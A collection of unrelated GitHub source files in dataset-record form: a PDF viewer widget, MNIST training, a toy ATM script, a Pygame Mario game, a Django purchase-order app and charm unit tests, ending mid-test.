\"./weight/me5_model/me5_small.onnx\")\nVECTORSTORES_LOCAL = os.getenv(\"VECTORSTORES_LOCAL\", \"./.tmp_vectorstores\")\n\nMODEL_EMBEDDING_SIZE = {\n \"me5-small\": 384,\n}\nBATCH_SIZE = int(os.getenv(\"BATCH_SIZE\", \"4\"))","repo_name":"viethq18/kalapa_vmqa_solution","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42640722309","text":"from gi.repository import GObject\nfrom gi.repository import Gtk\nfrom gi.repository import Poppler\n\n#from gtumbler_lib import pdf\nimport PyPDF2 as pdf\nfrom gtumbler_lib.helpers import enum\n\nfrom gi.repository import Rsvg as rsvg\n\nBOX_NAMES = ['artBox', 'bleedBox', 'cropBox', 'mediaBox', 'trimBox']\n\nEditType = enum('NO_EDIT', 'BOUNDING_BOXES')\n\nclass Document(object):\n\t\"\"\"\n\tThis class represents a single document\n\t\"\"\"\n\n\tdef __init__(self, filename):\n\t\tself._filename = filename\n\t\tself._document = Poppler.Document.new_from_file(\"file://%s\" % self._filename, None)\n\t\tself._fin = open(filename, 'rb')\n\t\tself._pdf_rd = pdf.PdfFileReader(self._fin)\n\t\tself._page = None\n\t\tself._bboxes = [[] for i in range(len(BOX_NAMES))]\n\t\tself.set_page(0)\n\n\tdef close(self):\n\t\t\"\"\"\n\t\tCloses the current document nicely\n\t\t\"\"\"\n\t\t\n\t\ttry:\n\t\t\tself._fin.close()\n\t\texcept:\n\t\t\tpass\n\n\tdef get_origin(self):\n\t\t\"\"\"\n\t\tGet the origin the page should be drawn at on the Cairo context\n\t\t\"\"\"\n\t\t\n\t\treturn self._origin\n\n\tdef set_page(self, page = None):\n\t\t\"\"\"\n\t\tSet the current page.\n\t\t\n\t\t@param page: The zero-based page number to set.\n\t\t\"\"\"\n\t\t\n\t\tif page != None and page != self._page:\n\t\t\tself._page_obj = self._document.get_page(page)\n\t\t\tpaper = self._pdf_rd.getPage(page)\n\t\t\tleft, bottom = paper.mediaBox.lowerLeft\n\t\t\tright, top = paper.mediaBox.upperRight\n\n\t\t\tself._width, self._height = float(right - left), float(top - bottom)\n\t\t\tfor i, box_name in enumerate(BOX_NAMES):\n\t\t\t\tbox = getattr(paper, box_name, None)\n\t\t\t\tif box:\n\t\t\t\t\tself._bboxes[i] = [self._height - float(box.upperRight[1]),\n\t\t\t\t\t\t\t\t\t\tfloat(box.lowerLeft[1]),\n\t\t\t\t\t\t\t\t\t\tfloat(box.lowerLeft[0]),\n\t\t\t\t\t\t\t\t\t\tself._width - float(box.upperRight[0])]\n\n\t\t\tself._origin = (float(paper.cropBox.lowerLeft[0]),\n\t\t\t\t\t\t\tself._height - float(paper.cropBox.upperRight[1]))\n\t\t\tself._page = page\n\t\t\n\tdef render(self, cairo_context):\n\t\t\"\"\"\n\t\tRenders the current page on the passed cairo_context\n\t\t\n\t\t@param cairo_context: A cairo context to draw on\n\t\t\"\"\"\n\t\t\n\t\tself._page_obj.render(cairo_context)\n\n\tdef get_page(self):\n\t\t\"\"\"\n\t\tReturns the current page number\n\t\t\n\t\t@return: The current zero-based page number\n\t\t\"\"\"\n\t\t\n\t\treturn self._page\n\n\tdef get_n_pages(self):\n\t\t\"\"\"\n\t\tReturns the document page count\n\t\t\n\t\t@return: The document page count\n\t\t\"\"\"\n\t\t\n\t\tif getattr(self, '_n_pages', None):\n\t\t\treturn self._n_pages\n\t\tself._n_pages = self._document.get_n_pages()\n\t\treturn self._n_pages\n\n\tdef get_page_size(self):\n\t\treturn self._width, self._height\n\n\tdef get_title(self):\n\t\treturn self._document.get_property(\"title\")\n\n\nclass DocumentView(Gtk.DrawingArea):\n\t\"\"\"\n\tA Gtk.DrawingArea designed to handle document rendering inside a Gtk.Window\n\t\"\"\"\n\t\n\t__gtype_name__ = \"DocumentView\"\n\t\n\t__gsignals__ = {\n\t\t'document-changed' : (GObject.SIGNAL_RUN_FIRST,\n\t\t\t\t\t\t\t None,\n\t\t\t\t\t\t\t ()\n\t\t\t\t\t\t\t ),\n\t\t\n\t\t'page-changed' : (GObject.SIGNAL_RUN_FIRST,\n\t\t\t\t\t\t None, \n\t\t\t\t\t\t (int,) # @param: the new page number\n\t\t\t\t\t\t ),\n\n\t\t'zoom' : (GObject.SIGNAL_RUN_FIRST,\n\t\t\t\t\t\t None, \n\t\t\t\t\t\t (float,) # @param: the new zoom level (scale factor, 1 == 100%)\n\t\t\t\t ),\n\t}\n\t\n\tdef __init__(self, *args):\n\t\tsuper(DocumentView, self).__init__()\n\t\tself.document = None\n\t\tself._page_number = None \n\t\tself.set_zoom(1)\n\t\tself._pad = 3\n\t\tself._edit_mode = EditType.NO_EDIT\n\t\tself._edit_mode_data = None\n\t\t\n\t\tself.connect('draw', self._on_expose_event)\n\n\t\t#self._draw_logo()\n\n\tdef _draw_logo(self):\n\t\t\"\"\"Draws the application logo on the Document View\"\"\"\n\t\t\n\t\tcr = self.get_window().cairo_create()\n\t\tsvg = rsvg.Handle.new_from_file('data/media/gtumbler.svg')\n\t\tsvg.render_cairo(cr)\n\n\tdef _on_expose_event(self, widget, cr):\n\t\t\"\"\"\n\t\tThis is the central event. It is responsible for coordinating the drawing\n\t\tprocesses on the Document View\n\t\t\"\"\"\n\t\t\n\t\t### PREAMBLE ###\n\t\t\n\t\t# Initial logo, displayed when no documents are loaded\n\t\tif not self.document:\n\t\t\tself._draw_logo()\n\t\t\treturn\n\n\t\t### DOCUMENT RENDERING ###\n\n\t\t#TODO: To probably make this faster use event to create a clipping area\n\t\t# (http://www.pygtk.org/articles/cairo-pygtk-widgets/cairo-pygtk-widgets.htm)\n\t\t\n\t\tw, h = self.document.get_page_size()\n\t\t\n\t\ts = self.get_zoom()\n\t\t\n\t\t#cr = widget.get_window().cairo_create() \n\n\t\t## Grey page shadow\n\t\tcr.set_source_rgb(.3, .3, .3)\n\t\tcr.rectangle(self._pad, self._pad, s * w, s * h)\n\t\tcr.fill()\n\t\t\n\t\t## White default page background\n\t\tcr.set_source_rgb(1, 1, 1)\n\t\tcr.rectangle(0, 0, s * w, s * h)\n\t\tcr.fill()\n\t\t\n\t\t## Black page contour\n\t\tcr.set_source_rgb(0, 0, 0)\n\t\tcr.set_line_width(.8)\n\t\tcr.rectangle(0, 0, s * w, s * h)\n\t\tcr.stroke()\n\t\t\n\t\t## Rendering of the current page\n\t\t#cr = widget.get_window().cairo_create()\n\t\tif s != 1:\n\t\t\tcr.scale(s, s)\n\n\t\tcr.translate(*self.document.get_origin())\n\t\tself.document.render(cr)\n\t\t\n\t\t### EDIT MODE HANDLING ###\n\t\t\n\t\tif self._edit_mode == EditType.BOUNDING_BOXES:\n\t\t\t## Bounding Boxes\n\t\t\tself.draw_rectangle()\n\t\t\n\t\treturn True\n\n\tdef close(self):\n\t\t\"\"\"Closes the current document, if any.\"\"\"\n\t\tif self.document:\n\t\t\tself.document.close()\n\t\t\tself.document = None\n\n\tdef draw_rectangle(self, rect, color):\n\t\tpass\n\n\tdef get_best_fit(self):\n\t\treturn getattr(self, '_best_fit', False)\n\n\tdef get_state(self):\n\t\treturn bool(self.document)\n\n\tdef get_zoom(self):\n\t\treturn self._zoom\n\n\tdef open(self, filename):\n\t\t# Check if a document is already opened and if so close it\n\t\tself.close()\n\t\t\n\t\t# Open the new document\n\t\tself.document = Document(filename)\n\t\tself.emit('zoom', self.get_zoom())\n\t\tself.emit('document-changed')\n\t\tself.emit('page-changed', self.document.get_page())\n\t\tself.refresh()\n\n\tdef page_first(self):\n\t\tif not self.document: return\n\t\tpage = self.document.get_page()\n\t\tif page <= 0: return\n\t\tself.set_page(0)\n\t\tself.refresh()\n\n\tdef page_last(self):\n\t\tif not self.document: return\n\t\tpage = self.document.get_page()\n\t\tif page >= self.document.get_n_pages() - 1: return\n\t\tself.set_page(self.document.get_n_pages() - 1)\n\t\tself.refresh()\n\n\tdef page_next(self):\n\t\tif not self.document: return\n\t\tpage = self.document.get_page()\n\t\tif page >= self.document.get_n_pages() - 1: return\n\t\tself.set_page(page + 1)\n\t\tself.refresh()\n\n\tdef page_previous(self):\n\t\tif not self.document: return\n\t\tpage = self.document.get_page()\n\t\tif page <= 0: return\n\t\tself.set_page(page - 1)\n\t\tself.refresh()\n\n\tdef refresh(self):\n\t\tif self.document:\n\t\t\tw, h = self.document.get_page_size()\n\t\t\ts = self.get_zoom()\n\t\t\tself.set_size_request(self._pad + int(w * s), self._pad + int(h * s))\n\t\tself.queue_draw()\n\n\tdef set_best_fit(self, best_fit):\n\t\tself._best_fit = best_fit\n\t\tif best_fit:\n\t\t\tself._fit_page = False\n\t\t\trect_sw = self.get_parent().get_parent().get_parent().get_allocation()\n\t\t\tw, h = self.document.get_page_size()\n\t\t\tself._zoom = (rect_sw.width - 2 * 6. - float(self._pad) - 2) / w\n\t\tself.refresh()\n\n\tdef set_edit_mode(self, mode, data = None):\n\t\tself._edit_mode = mode\n\t\tself._edit_mode_data = data\n\n\tdef set_fit_page(self, fit_page):\n\t\tself._fit_page = fit_page\n\t\tif fit_page:\n\t\t\tself._best_fit = False\n\t\t\trect_sw = self.get_parent().get_parent().get_parent().get_allocation()\n\t\t\tw, h = self.document.get_page_size()\n\t\t\tsx = (rect_sw.width - 2 * 6. - float(self._pad) - 2) / w\n\t\t\tsy = (rect_sw.height - 2 * 6. - float(self._pad) - 2) / h\n\t\t\tself._zoom = min([sx, sy])\n\t\tself.refresh()\n\n\tdef set_page(self, page):\n\t\tif page < 0 or page > self.document.get_n_pages() - 1: return\n\t\tself.document.set_page(page)\n\t\tself.emit('page-changed', page)\n\n\tdef set_zoom(self, zoom):\n\t\tif zoom > 16 or zoom < .25: return\n\t\tself._zoom = zoom\n\t\tself.refresh()\n\t\tself.emit('zoom', self._zoom)\n\n\tdef zoom_in(self, delta):\n\t\tself.set_zoom(self._zoom + delta)\n\t\t\n\tdef zoom_out(self, delta):\n\t\tif self._zoom - delta > 0:\n\t\t\tself.set_zoom(self._zoom - delta)\n\n","repo_name":"Hierosoft/gtumbler","sub_path":"gtumbler_lib/DocumentView.py","file_name":"DocumentView.py","file_ext":"py","file_size_in_byte":7654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36077367028","text":"# import mrjob\nfrom mrjob.job import MRJob\n# create a class to inherit or take properties from the mrjob class\nclass Bacon_count(MRJob):\n # create a mapper() function that take (self, _, line) as parameters\n def mapper(self, _, line):\n # loop through each word\n for word in line.split():\n if word.lower() == \"bacon\":\n yield \"bacon\", 1\n # reducer function\n def reducer(self, key, values):\n yield key, sum(values)\nif __name__ == \"__main__\":\n Bacon_count.run()\n","repo_name":"yajingran/Big_Data","sub_path":"bacon_counter.py","file_name":"bacon_counter.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69815374597","text":"import tensorflow as tf\nimport tensorflow_datasets\n\ndef normalizer(image, label):\n return tf.cast(image, tf.float32) / 256, label\n\n(train, test), information = tensorflow_datasets.load('mnist', split=['train', 'test'], as_supervised=True, with_info=True)\ntrain = train.map(normalizer)\ntrain = train.cache()\ntrain = train.shuffle(information.splits['train'].num_examples)\ntrain = train.batch(300)\ntrain = train.prefetch(tf.data.experimental.AUTOTUNE)\ntest = test.map(normalizer)\ntest = test.batch(256)\ntest = test.cache()\ntest = test.prefetch(tf.data.experimental.AUTOTUNE)\n\n# Create model\n\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Flatten(input_shape=(28, 28)),\n tf.keras.layers.Dense(100, activation='relu'),\n tf.keras.layers.Dense(10, activation='softmax')\n])\n\nmodel.compile(optimizer=tf.keras.optimizers.Adam(0.001), loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])\n\nmodel.fit(train, epochs=10, validation_data=test)\n\n\n","repo_name":"kiyan-rezaee/MNIST_TF","sub_path":"TFMNIST.py","file_name":"TFMNIST.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45750461837","text":"# Calculate grade for students\nbalance = 1000\ndef manageBanking():\n while True:\n bankingChoice = int(input(\"\\nPlease Press 1 for your balance. \\nPlease press 2 to make withdrawal. \\nPlease press 3 to pay in. \\nPlease press 4 to return card. \\nWhat would you like to choose?\"))\n if bankingChoice == 1:\n showBalance()\n elif bankingChoice == 2:\n withDrawFromAccount()\n elif bankingChoice == 3:\n depositToAccount()\n elif bankingChoice == 4:\n returnCard()\n else:\n print(\"Invalid option..\\n\")\n \n doReturn = input(\"\\nWould you like to go back? \")\n if doReturn == \"n\":\n break\n \n\n return\n\n\ndef withDrawFromAccount():\n bankingChoice = int(input(\"\\n$10\\n$20\\n$40\\n$60\\n$80\\n$100\\nFor other enter 1: \"))\n global balance\n if bankingChoice == 10 or bankingChoice == 20 or bankingChoice == 40 or bankingChoice == 60 or bankingChoice == 80 or bankingChoice == 100 :\n balance = balance - bankingChoice\n showBalance()\n elif bankingChoice == 1 :\n customChoice = int(input(\"\\nPlease Enter Desired Amount: \"))\n balance = balance - customChoice\n showBalance()\n else:\n print(\"Invalid amount, please re-try..\\n\")\n\n return\n\ndef depositToAccount():\n depositAmount = int(input(\"\\nHow Much Would You Like to Deposit? \"))\n if depositAmount > 0:\n global balance\n balance = balance + depositAmount\n showBalance()\n else:\n print(\"Invalid amount, please re-try..\\n\")\n\n return\n\ndef returnCard():\n print(\"Please wait while your card is Returned .. \\n\\nThanks you for your service.\")\n return\n\ndef showBalance():\n print(\"Your balance is :\",balance)\n return\n\ndefaultPassword = 1234\ncount = 3\nprint(\"Welcome to Humber Bank ATM \\n\")\nwhile True:\n try:\n if(count > 0):\n choice = int(input(\"Please Enter your 4 digit pin: \"))\n if choice == defaultPassword:\n print(\"You entered your pin correctly.\\n\")\n count = 3\n manageBanking() \n else:\n count = count - 1\n print(\"Incorrect password.\\n\")\n else:\n print(\"No more tries. \\n\")\n input(\"Press Enter to exit...\")\n break\n \n \n except AssertionError as msg:\n print(msg)\n input(\"Press Enter to exit...\")\n\n","repo_name":"salwa1112/BankATM","sub_path":"Banking.py","file_name":"Banking.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20414979129","text":"def sift_up(ind: int) -> None:\n if ind == 0:\n return\n parent_ind = (ind - 1) // 2\n if heap[parent_ind] > heap[ind]:\n heap[ind], heap[parent_ind] = heap[parent_ind], heap[ind]\n sift_up(parent_ind)\n\ndef sift_down(ind: int) -> None:\n left, right = 2 * ind + 1, 2 * ind + 2\n nodeInd = ind\n if left < len(heap) and heap[nodeInd] > heap[left]: nodeInd = left\n if right < len(heap) and heap[nodeInd] > heap[right]: nodeInd = right\n if nodeInd != ind:\n heap[ind], heap[nodeInd] = heap[nodeInd], heap[ind]\n sift_down(nodeInd)\n\ndef pop():\n if len(heap) == 1:\n return heap.pop()\n minimum = heap[0]\n heap[0] = heap.pop()\n sift_down(0)\n return minimum\n\ndef add(value):\n heap.append(value)\n sift_up(len(heap) - 1)\n return \"ok\"\n\ndef size():\n return len(heap)\n\nif __name__ == \"__main__\":\n heap = []\n n, last_volume = map(int, input().split())\n\n for _ in range(n):\n p, v = map(int, input().split())\n add((-(p / v), p, v))\n\n total_sum = 0\n for _ in range(size()):\n item = pop()\n if last_volume < item[2]:\n total_sum += last_volume * item[0] * -1\n break\n else:\n last_volume -= item[2]\n total_sum += item[1]\n\n print('{:.2f}'.format(total_sum))","repo_name":"Randosky/Algorithms","sub_path":"12.3/Проверка 2.py","file_name":"Проверка 2.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2887837749","text":"from csv import DictWriter\n\n# Some QA type reports\n\n\ndef no_ed_match(matched):\n\n needs_district = []\n\n for m in matched:\n exclude = m.get('exclude', '')\n if not exclude == 'x':\n if m['ocdid'] == '' or m['ts_id'] == '':\n needs_district.append({'state': m['State'],\n 'level': m['level'],\n 'role': m['role'],\n 'ed': m['Electoral District'],\n 'ocdid': m['ocdid'],\n 'type': m['type'],\n 'name': m['name'],\n 'ts_id': m['ts_id'],\n })\n\n return needs_district\n\n\ndef numbers_report(matched, state_name):\n\n ocdid_matched = 0\n all_matched = 0\n statewide = 0\n congress = 0\n state_leg = 0\n lower_level = 0\n\n for m in matched:\n if not m['ocdid'] == '':\n if not m['ts_id'] == '':\n all_matched += 1\n else:\n ocdid_matched += 1\n\n ocdid = m['ocdid'].split('/')[-1]\n\n if 'state' in ocdid:\n statewide += 1\n elif 'cd' in ocdid:\n congress += 1\n elif 'sldl' in ocdid or 'sldu' in ocdid:\n state_leg += 1\n else:\n lower_level += 1\n\n\n return {'state_name': state_name,\n 'total_rows': len(matched),\n 'ocdid_matched': ocdid_matched,\n 'all_matched': all_matched,\n 'statewide': statewide,\n 'congress': congress,\n 'state_leg': state_leg,\n 'lower_level': lower_level,\n 'all_percent': 100 * float(all_matched)/float(len(matched)),\n 'ocdid_percent': 100 * float(ocdid_matched)/float(len(matched))\n }\n\n\ndef write_report(qa_data, qa_report, fields, path):\n\n with open(path + qa_report, 'w') as report:\n writer = DictWriter(report, fieldnames=fields)\n writer.writeheader()\n for q in qa_data:\n writer.writerow(q)\n","repo_name":"jennac/bip-2014","sub_path":"ocdid_matching/qa_checks.py","file_name":"qa_checks.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39317151922","text":"import math\nimport pygame\nimport random\nimport time\n\n# initialization\npygame.init()\n\n# BACKGROUND\nscreen = pygame.display.set_mode((800, 600))\n\n# TIME\nclock = pygame.time.Clock()\n\n# Creation du titre\npygame.display.set_caption(\"Marie Haut\")\niconJeu = pygame.image.load('IMAGES/mario.png')\npygame.display.set_icon(iconJeu)\n\n# GAMEOVER ECRAN\ngameoverBackground = pygame.image.load('IMAGES/gameover1.png')\n\n\ndef gameover(x, y):\n screen.blit(gameoverBackground, (x, y))\n\n\n# SCORE\nscore_valeur = 0\nfont = pygame.font.Font('freesansbold.ttf', 32)\nscoreX = 10\nscoreY = 10\n\n\ndef aff_score(x, y):\n score = font.render(\"Nb de vie : \" + str(score_valeur), True, (255, 255, 255))\n screen.blit(score, (x, y))\n\n\n# TIMER\n\ntemps_valeur = 30\npygame.time.set_timer(pygame.USEREVENT, 1000)\ntempsX = 500\ntempsY = 10\n\n# MARIO\n# MARIO IMAGE\nmarioIcon = pygame.image.load('IMAGES/mario.png')\n# MARIO IMAGE SIZE\nmarioIcon = pygame.transform.scale(marioIcon, (60, 60))\n\n# MARIO POSITION\nmarioIconX = 370\nmarioIconY = 100\n\n# MARIO VARIABLE POUR DEPLACEMENT\nmarioIconChangeX = 0\nmarioIconChangeY = 0\n\n\ndef mario(x, y):\n screen.blit(marioIcon, (x, y))\n\n\n# PIECE\n\npieceIcon = pygame.image.load('IMAGES/coeur8bit.png')\npieceIcon = pygame.transform.scale(pieceIcon, (30, 30))\npieceIconX = random.randint(0, 740)\npieceIconY = random.randint(0, 540)\n\n\ndef piece(x, y):\n screen.blit(pieceIcon, (x, y))\n\n\n# Goomba\n\ngoombaIcon = pygame.image.load('IMAGES/goomba.png')\ngoombaIcon = pygame.transform.scale(goombaIcon, (60, 60))\ngoombaIconX = random.randint(0, 800)\ngoombaIconY = random.randint(0, 600)\ngoombaIconchangeX = 3\ngoombaIconchangeY = 1\n\n\ndef goomba(x, y):\n screen.blit(goombaIcon, (x, y))\n\n\n# SYSTEME DE COLLISION\n# COLLISION MARIO GOOMBA\ndef check_collisionmg(mariox, marioy, goombax, goombay):\n distance = math.sqrt((math.pow(mariox - goombax, 2)) + (math.pow(marioy - goombay, 2)))\n if distance < 50:\n return True\n else:\n return False\n\n\n# COLLISION MARIO PIECE\ndef check_collisionmp(mariox, marioy, piecex, piecey):\n distancemp = math.sqrt((math.pow(mariox - piecex, 2)) + (math.pow(marioy - piecey, 2)))\n if distancemp < 50:\n return True\n else:\n return False\n\n\n# BOUCLE DU JEU\n\nrunning = True\nwhile running:\n\n # BACKGROUND\n screen.fill((0, 100, 0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n # TIMER BOUCLE\n\n # DEPLACEMENT MARIO DROITE/GAUCHE\n if event.type == pygame.KEYDOWN:\n # DEPLACEMENT GAUCHE\n if event.key == pygame.K_LEFT:\n marioIconChangeX = -2\n # DEPLACEMENT DROITE\n if event.key == pygame.K_RIGHT:\n marioIconChangeX = 2\n # STOP DEPLACEMENT MARIO\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n marioIconChangeX = 0\n\n # DEPLACEMENT MARIO HAUT/BAS\n if event.type == pygame.KEYDOWN:\n # DEPLACEMENT HAUT\n if event.key == pygame.K_UP:\n marioIconChangeY = -2\n # DEPLACEMENT BAS\n if event.key == pygame.K_DOWN:\n marioIconChangeY = 2\n\n # STOP DEPLACEMENT MARIO\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n marioIconChangeY = 0\n\n marioIconX += marioIconChangeX\n # BARRIÈRE GAUCHE DROITE\n if marioIconX <= 0:\n marioIconX = 0\n elif marioIconX >= 740:\n marioIconX = 740\n\n marioIconY += marioIconChangeY\n # BARRIÈRE GAUCHE DROITE\n if marioIconY <= 0:\n marioIconY = 0\n elif marioIconY >= 540:\n marioIconY = 540\n\n # DEPLACEMENT GOOMBA\n goombaIconX += goombaIconchangeX\n goombaIconY += goombaIconchangeY\n # BARRIERE DROITE GAUCHE\n if goombaIconX <= 0:\n goombaIconchangeX = random.randint(1, 2)\n elif goombaIconX >= 740:\n goombaIconchangeX = random.randint(-2, -1)\n\n # BARRIERE HAUT BAS\n if goombaIconY <= 0:\n goombaIconchangeY = random.randint(1, 2)\n elif goombaIconY >= 540:\n goombaIconchangeY = random.randint(-2, -1)\n\n # COLLISION MARIO PIECE\n collisionMP = check_collisionmp(marioIconX, marioIconY, pieceIconX, pieceIconY)\n if collisionMP:\n pieceIconX = random.randint(0, 800)\n pieceIconY = random.randint(0, 600)\n\n # SCORE +1\n if collisionMP:\n score_valeur += 1\n\n # COLLISION MARIO GOOMBA\n collisionMG = check_collisionmg(marioIconX, marioIconY, goombaIconX, goombaIconY)\n if collisionMG:\n # running = False\n screen.fill((100, 0, 0))\n time.sleep(0.5)\n score_valeur -= 1\n time.sleep(0.2)\n goombaIconX = random.randint(0, 800)\n goombaIconY = random.randint(0, 600)\n if score_valeur < 0:\n # running = False\n\n running = False\n\n # APPEL DE LA FONCTION\n mario(marioIconX, marioIconY)\n piece(pieceIconX, pieceIconY)\n goomba(goombaIconX, goombaIconY)\n aff_score(scoreX, scoreY)\n\n # Pour la mise a jour de l'écran\n pygame.display.update()\n\ngameover(0, 0)\npygame.display.update()\ntime.sleep(5)\npygame.quit()\n\n\n","repo_name":"WinstonSmith13/projet_mario_Pygame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35637735019","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom registration.decorators import unauthenticated_user, allow_users, admin_only\nfrom django.http import JsonResponse,HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom .forms import ProveedorForm\nfrom .models import *\nimport requests\n\n@login_required(login_url='login')\ndef home(request):\n return render(request, 'core/index-dashboard.html')\n\n@login_required(login_url='login')\ndef generar_orden(request):\n context = {}\n form = ProveedorForm()\n if request.method == 'POST':\n form = ProveedorForm(request.POST)\n idOrden = new_sale(request)\n return HttpResponseRedirect('/detalle-orden/'+str(idOrden))\n context = {'form':form}\n return render(request, 'core/ordenCompra.html', context)\n\n@login_required(login_url='login')\ndef historial_orden(request):\n ordenes = Orden.objects.filter(idDepartamento=request.user.departamento);\n context = {'ordenes':ordenes}\n return render(request, 'core/historial.html', context)\n\n@login_required(login_url='login')\ndef productos(request, id_proveedor):\n productos = Producto.objects.filter(idProveedor=id_proveedor)\n lista_productos = []\n for p in productos:\n lista_productos.append({\"idProducto\":p.idProducto, \"nombre\":p.nombre, \"precio\":p.precio})\n return JsonResponse({\"productos\":lista_productos})\n\n@login_required(login_url='login')\ndef detalle_orden(request, id_orden):\n orden = Orden.objects.get(pk=id_orden)\n context = {'orden':orden}\n response = requests.get('https://deerland-finanzas.herokuapp.com/solicitud-recursos/'+ str(orden.idSolicitud))\n resp = response.json()\n orden.estatus = resp[0][\"ES_Solicitud_R\"]\n orden.save() \n return render(request, \"core/detalleOrden.html\", context)\n\n\ndef new_sale(request):\n nums = []\n for key in request.POST:\n if \"_\" in key:\n args = key.split(\"_\")\n if args[1] not in nums:\n nums.append(args[1])\n\n orden = Orden.objects.create(**{\n \"condiciones\": request.POST.get(\"condiciones\"),\n \"observacion\": request.POST.get(\"observaciones\"),\n \"firma\": request.POST.get(\"firma\"),\n \"idDepartamento\": request.user.departamento,\n \"estatus\": \"En espera\",\n \"idProveedor_id\": request.POST.get(\"provedor\"),\n })\n \n subtotal = 0\n for n in nums:\n product = Producto.objects.get(\n pk=int(request.POST.get(\"products_\"+n)))\n DetalleOrden.objects.create(**{\n \"cantidad\": request.POST.get(\"qty_\"+n),\n \"descripción\": product.descripción,\n \"precio\": product.precio,\n \"idOrden\": orden,\n \"idProducto\": product,\n })\n subtotal += product.precio * int(request.POST.get(\"qty_\"+n))\n \n orden.subtotal = subtotal\n orden.iva = subtotal * 0.16\n orden.total = subtotal * 1.16\n orden.save()\n\n form_data = {\"NombreArea\": orden.idDepartamento.nombre, \"NombreProveedor\": orden.idProveedor.nombre, \"Subtotal\": orden.subtotal, \"IVA\": orden.iva, \"Total\": orden.total, \"Firma\": orden.firma}\n response = requests.post('https://deerland-finanzas.herokuapp.com/solicitud-recursos/agregar', data=form_data)\n resp = response.json()\n orden.estatus = resp[0][\"ES_Solicitud_R\"]\n orden.idSolicitud = resp[0][\"ID_Solicitud_R\"]\n orden.save() \n return orden.pk","repo_name":"Jorgect99/RecursosMateriales","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16228817361","text":"#!/usr/bin/env ipython\n\nfrom plot_helpers import *\nfrom numpy import sqrt, pi\n\nnan = float('nan')\n\ndef plotFunc(sim):\n res = sim.results\n return (res.mm[1]) / (sim.mtot)\n\n\ndef filterFunc(sim):\n #return sim.results.valid and ( sim.results.valtmax / sim.tcol > 5. ) and (sim.results.mm[2] > 0.1*sim.impb.m )\n return sim.results.valid and ( sim.results.valtmax / sim.tcol > 5. )\n\n\nxvar = \"vimp\"\n#xvar = \"angle\"\n\nyaxis = [ -0.1, 1.1 ]\nylog = False\nylbl = r\"$M_{LR} / M_{tot}$\"\nyfmt = math_formatter\nytik = (0.,0.5,1.)\n\n\n","repo_name":"andreasreufer/phd_thesis","sub_path":"03figs/17_QRfit/plot_func.py","file_name":"plot_func.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1558458417","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport mock\n\nimport reactive.barbican_vault_handlers as handlers\n\nimport charms_openstack.test_utils as test_utils\n\n\nclass TestRegisteredHooks(test_utils.TestRegisteredHooks):\n\n def test_hooks(self):\n defaults = [\n 'charm.installed',\n 'config.changed',\n 'update-status']\n hook_set = {\n 'when': {\n 'secret_backend_vault_request': (\n 'secrets-storage.connected',),\n },\n 'when_all': {\n 'plugin_info_barbican_publish': (\n 'endpoint.secrets.joined', 'secrets-storage.available',\n 'endpoint.secrets-storage.changed',),\n },\n 'when_not': {\n 'secret_backend_vault_request': (\n 'secrets-storage.available',),\n },\n }\n # test that the hooks were registered via the\n # reactive.barbican_handlers\n self.registered_hooks_test_helper(handlers, hook_set, defaults)\n\n\nclass TestBarbicanVaultHandlers(test_utils.PatchHelper):\n\n def patch_charm(self):\n barbican_vault_charm = mock.MagicMock()\n self.patch_object(handlers.charm, 'provide_charm_instance',\n new=mock.MagicMock())\n self.provide_charm_instance().__enter__.return_value = \\\n barbican_vault_charm\n self.provide_charm_instance().__exit__.return_value = None\n return barbican_vault_charm\n\n def test_secret_backend_vault_request(self):\n barbican_vault_charm = self.patch_charm()\n self.patch_object(handlers.reactive, 'endpoint_from_flag')\n secrets_storage = mock.MagicMock()\n self.endpoint_from_flag.return_value = secrets_storage\n barbican_vault_charm.secret_backend_name = 'charm-barbican-vault'\n self.patch_object(handlers.reactive, 'clear_flag')\n\n handlers.secret_backend_vault_request()\n self.endpoint_from_flag.assert_called_once_with(\n 'secrets-storage.connected')\n secrets_storage.request_secret_backend.assert_called_once_with(\n 'charm-barbican-vault', isolated=False)\n\n def test_plugin_info_barbican_publish(self):\n barbican_vault_charm = self.patch_charm()\n self.patch_object(handlers.reactive, 'endpoint_from_flag')\n barbican = mock.MagicMock()\n secrets_storage = mock.MagicMock()\n self.endpoint_from_flag.side_effect = [barbican, secrets_storage]\n self.patch_object(handlers.vault_utils, 'retrieve_secret_id')\n self.patch_object(handlers.reactive, 'clear_flag')\n\n handlers.plugin_info_barbican_publish()\n 